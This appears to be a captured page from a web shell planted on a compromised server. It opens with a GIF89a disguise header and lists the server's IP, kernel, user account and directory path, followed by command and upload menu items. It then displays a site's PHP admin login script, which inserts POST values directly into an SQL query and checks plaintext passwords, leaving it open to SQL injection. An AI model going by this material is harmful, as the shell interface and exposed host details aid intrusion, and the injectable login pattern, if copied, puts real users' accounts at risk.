GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.144.38.184 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../jnclnmu/jnclnmu/../assets/../admin/img/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("connection.php"); $email=$_POST['email']; $pass=$_POST['pass']; //$salt = "softproindia2022"; //$salted_pass = $pass.$salt; //$password = md5($salted_pass); // echo $password; // die(); $query="select * from tbl_admin where email='$email' and password='$pass'"; $res=mysqli_query($dbCon,$query); $result=mysqli_num_rows($res); if($row=mysqli_fetch_array($res,MYSQLI_BOTH)&& $result==1) { session_start(); $_SESSION['user']=$email; header("Location:dashboard.php"); } else { header("Location:index.php?msg=1"); } ?>